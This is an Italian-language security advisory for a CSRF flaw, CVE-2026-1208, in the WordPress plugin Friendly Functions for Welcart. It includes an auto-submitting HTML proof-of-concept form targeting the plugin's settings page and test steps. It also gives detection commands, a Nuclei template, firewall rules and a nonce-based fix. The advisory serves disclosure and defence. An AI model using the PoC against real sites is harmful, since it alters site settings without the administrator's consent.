CVE-2026-1208: Cross-Site Request Forgery in Friendly Functions for Welcart

Parole chiave: CVE-2026-1208, vulnerabilità Friendly Functions for Welcart, CSRF, Cross-Site Request Forgery, sicurezza WordPress, vulnerabilità plugin WordPress, CWE-352, sicurezza Welcart, manipolazione impostazioni, WordPress CVE 2026

Panoramica

Vulnerabilità CSRF nel plugin WordPress Friendly Functions for Welcart (CVE-2026-1208) - Falla di sicurezza che consente ad attaccanti non autenticati di modificare le impostazioni del plugin tramite richieste contraffatte.

È stata scoperta una vulnerabilità di Cross-Site Request Forgery (CSRF) nel plugin Friendly Functions for Welcart che permette ad attaccanti non autenticati di aggiornare le impostazioni del plugin ingannando un amministratore affinché clicchi su un link malevolo.

Scoperta da: Kai Aizen (SnailSploit)
Pubblicata: 23 gennaio 2026
Punteggio CVSS: 4.3 (Medio)
CWE: CWE-352 - Cross-Site Request Forgery (CSRF)
Plugin: Friendly Functions for Welcart
Tipo di attacco: Cross-Site Request Forgery per aggiornamento impostazioni
Privilegi richiesti: Nessuno (Attacco non autenticato + Ingegneria sociale)

Dettagli della Vulnerabilità

Descrizione

Il plugin Friendly Functions for Welcart per WordPress è vulnerabile a Cross-Site Request Forgery in tutte le versioni fino alla 1.2.5 inclusa. Ciò è dovuto alla mancanza o all'errata validazione del nonce nella pagina delle impostazioni. Questo permette ad attaccanti non autenticati di aggiornare le impostazioni del plugin tramite una richiesta contraffatta, a condizione che riescano a indurre un amministratore del sito a compiere un'azione come cliccare su un link.

Impatto

Questa vulnerabilità consente ad attaccanti non autenticati di:

Modificare le impostazioni del plugin senza autorizzazione
Manipolare le funzionalità di e-commerce di Welcart
Potenzialmente interrompere le operazioni del negozio
Combinarsi con altre vulnerabilità per attacchi escalation

Versioni Affette

Vulnerabili: Tutte le versioni ≤ 1.2.5
Corrette: Versione 1.2.6 e successive

Metriche CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Analisi Tecnica

La vulnerabilità risiede nell'implementazione della pagina delle impostazioni dove:

Il modulo delle impostazioni del plugin manca di una corretta validazione del nonce
Le richieste di aggiornamento delle impostazioni vengono elaborate senza verificare l'origine della richiesta
Non vengono generati o validati token CSRF
Azioni amministrative possono essere eseguite tramite richieste cross-origin

Posizioni del Codice Vulnerabile

La vulnerabilità è stata identificata nelle seguenti posizioni:

ffw_function_settings.php - Riga 53
ffw_function_settings.php - Riga 58

Vettore d'Attacco

L'attacco richiede ingegneria sociale per indurre un amministratore autenticato a visitare una pagina malevola o a cliccare su un link appositamente costruito mentre è loggato nel proprio sito WordPress.

Target: Amministratore WordPress con Friendly Functions for Welcart installato
Metodo: Pagina HTML malevola con modulo auto-inviante
Trigger: L'amministratore clicca su un link o visita una pagina controllata dall'attaccante

Proof of Concept

Payload HTML CSRF

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-1208 - PoC CSRF</title>
</head>
<body>
    <h1>Caricamento in corso...</h1>
    <form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
        <input type="hidden" name="ffw_setting_option" value="valore_malevolo" />
        <!-- Aggiungere ulteriori campi delle impostazioni secondo necessità -->
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

⚠️ Avvertenza: Questo PoC è fornito esclusivamente a scopo educativo e per test autorizzati.

Passaggi per il Test

Configurare un'istanza WordPress con Friendly Functions for Welcart <= 1.2.5
Ospitare il payload CSRF su un server controllato dall'attaccante
Autenticarsi come amministratore sul sito WordPress target
Visitare la pagina controllata dall'attaccante (simulando il clic su un link malevolo)
Osservare che le impostazioni del plugin vengono modificate senza consenso esplicito

Rilevamento

Controllo del Plugin WordPress

# Verificare se è installata una versione vulnerabile
wp plugin list | grep -i "friendly-functions-for-welcart"

# Ottenere la versione specifica
wp plugin get friendly-functions-for-welcart --field=version

Regole per Scanner di Sicurezza

Template Nuclei:

id: CVE-2026-1208

info:
  name: Friendly Functions for Welcart - CSRF per aggiornamento impostazioni
  author: SnailSploit
  severity: medium
  description: |
    Il plugin Friendly Functions for Welcart per WordPress è vulnerabile
    a CSRF nelle versioni <= 1.2.5 a causa della mancanza di validazione del nonce.
  reference:
    - https://github.com/SnailSploit/CVE-2026-1208
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-1208
    cwe-id: CWE-352
  tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Friendly Functions for Welcart"
      
      - type: regex
        regex:
          - "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
      
      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([0-9.]+)"

Regole per Web Application Firewall

Regola ModSecurity:

# CVE-2026-1208 - Blocca tentativi CSFR verso le impostazioni FFW
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
    "chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
    log,deny,status:403,msg:'CVE-2026-1208 Tentativo CSRF Bloccato'"
    SecRule ARGS:page "@streq ffw-settings" \
        "chain"
        SecRule &REQUEST_HEADERS:Referer "@eq 0"

# Alternativa: Blocca se il referer non corrisponde al dominio del sito
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
    "chain,id:2026002,phase:2,t:none,\
    log,deny,status:403,msg:'CVE-2026-1208 Richiesta Cross-Origin Bloccata'"
    SecRule ARGS:page "@streq ffw-settings" \
        "chain"
        SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"

Regola Nginx:

# CVE-2026-1208 - Protezione CSRF per impostazioni FFW
location /wp-admin/admin.php {
    # Controlla la pagina ffw-settings senza referer appropriato
    if ($arg_page = "ffw-settings") {
        set $csrf_check "1";
    }
    if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
        set $csrf_check "${csrf_check}1";
    }
    if ($csrf_check = "11") {
        return 403;
    }
    
    # Passa al gestore PHP
    try_files $uri =404;
    fastcgi_pass php-fpm;
    include fastcgi_params;
}

Mitigazione

Per Amministratori del Sito

Azione Immediata Richiesta:

Aggiornare immediatamente Friendly Functions for Welcart alla versione 1.2.6 o successiva
Verificare le impostazioni del plugin del proprio sito per eventuali modifiche non autorizzate
Se non è possibile aggiornare immediatamente, considerare la disattivazione temporanea del plugin

Istruzioni per l'Aggiornamento

Andare su Plugin > Plugin installati nell'amministrazione di WordPress
Individuare "Friendly Functions for Welcart"
Cliccare su Aggiorna ora per passare alla versione 1.2.6 o successiva
Verificare che l'aggiornamento sia riuscito
Controllare e confermare che le impostazioni del plugin siano corrette

Per Sviluppatori

Assicurarsi che tutti i moduli delle impostazioni implementino una corretta protezione CSRF:

// Esempio di corretta protezione CSRF in WordPress
// Nel modulo:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');

// Nel gestore del modulo:
function process_settings_update() {
    // Verifica nonce
    if (!isset($_POST['ffw_settings_nonce']) || 
        !wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
        wp_die('Controllo di sicurezza fallito');
    }
    
    // Controlla i permessi
    if (!current_user_can('manage_options')) {
        wp_die('Non autorizzato');
    }
    
    // Elabora l'aggiornamento delle impostazioni
    // ...
}

Cronologia

23 gennaio 2026 - Vulnerabilità divulgata pubblicamente
23 gennaio 2026 - Assegnato CVE-2026-1208
Versione 1.2.6 - Patch rilasciata dal fornitore del plugin

Riferimenti

Crediti

Ricercatore:

Kai Aizen - SnailSploit

Processo di Divulgazione: Coordinato tramite il Programma Bug Bounty di Wordfence

Disclaimer

Queste informazioni sono fornite esclusivamente a scopo di ricerca sulla sicurezza e difesa. Qualsiasi sfruttamento di questa vulnerabilità per scopi malevoli è illegale e non etico. Ottenere sempre la dovuta autorizzazione prima di testare sistemi che non si possiedono.

Contatto

Per domande o informazioni aggiuntive su questa vulnerabilità:

Email: [email protected]
Sito web: snailsploit.com
Organizzazione: SnailSploit Security Research

Ultimo aggiornamento: 23 gennaio 2026

📚 Documentazione e Autore

La documentazione completa di questo progetto, la metodologia e la ricerca correlata sono disponibili su:

https://snailsploit.com/security-research/cves/cve-2026-1208/

Creato da Kai Aizen — ricercatore indipendente di sicurezza offensiva.

snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter

Stesso attacco. Substrato diverso.

Vettore d'Attacco	Rete (AV:N)
Complessità dell'Attacco	Bassa (AC:L)
Privilegi Richiesti	Nessuno (PR:N)
Interazione dell'Utente	Richiesta (UI:R)
Ambito	Invariato (S:U)
Riservatezza	Nessuna (C:N)
Integrità	Bassa (I:L)
Disponibilità	Nessuna (A:N)

CVE-2026-1208

Più Popolari